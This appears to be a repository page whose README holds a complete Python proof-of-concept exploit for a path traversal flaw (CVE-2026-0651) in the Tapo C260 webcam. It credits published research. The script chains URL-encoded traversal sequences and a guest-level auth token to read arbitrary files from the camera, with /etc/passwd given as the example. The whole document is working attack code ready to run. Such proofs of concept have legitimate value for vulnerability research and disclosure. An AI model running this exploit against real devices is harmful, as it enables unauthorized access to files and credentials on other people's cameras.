README.md
Rendering markdown...
#!/usr/bin/env python3
"""
Tapo C260 Local File Disclosure — CVE-2026-0651
The camera's HTTP GET handler concatenates user-supplied paths onto /www
without sanitizing path traversal sequences. URL-encoding ../ as %2e%2e%2f
bypasses any naive string checks, and the only function between path
construction and stat()/open() is a URL decoder.
Requires local network access and a valid stok auth token (guest-level works).
Research by Eugene Lim (@spaceraccoon):
https://spaceraccoon.dev/getting-shell-tapo-c260-webcam/
"""
import argparse
import sys
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
TRAVERSAL_PREFIX = "%2e%2e%2f"
TRAVERSAL_DEPTH = 5
def read_file(host: str, token: str, filepath: str, depth: int = TRAVERSAL_DEPTH) -> str | None:
traversal = TRAVERSAL_PREFIX * depth
encoded_path = filepath.lstrip("/").replace("/", "%2f")
url = f"https://{host}/stok={token}/{traversal}{encoded_path}"
try:
r = requests.get(url, verify=False, timeout=10)
if r.status_code == 200 and r.text:
return r.text
return None
except requests.RequestException as e:
print(f"[-] Request failed: {e}", file=sys.stderr)
return None
def main():
parser = argparse.ArgumentParser(
description="Tapo C260 LFD — read arbitrary files via path traversal (CVE-2026-0651)"
)
parser.add_argument("--host", required=True, help="Camera IP address")
parser.add_argument("--token", required=True, help="stok auth token")
parser.add_argument("--file", required=True, help="Absolute path to read (e.g. /etc/passwd)")
parser.add_argument("--depth", type=int, default=TRAVERSAL_DEPTH, help="Traversal depth (default: 5)")
parser.add_argument("-o", "--output", help="Write output to file instead of stdout")
args = parser.parse_args()
print(f"[*] Reading {args.file} from {args.host}...", file=sys.stderr)
content = read_file(args.host, args.token, args.file, args.depth)
if content is None:
print("[-] No content returned — file may not exist or token is invalid", file=sys.stderr)
sys.exit(1)
if args.output:
with open(args.output, "w") as f:
f.write(content)
print(f"[+] Written to {args.output}", file=sys.stderr)
else:
print(content)
if __name__ == "__main__":
main()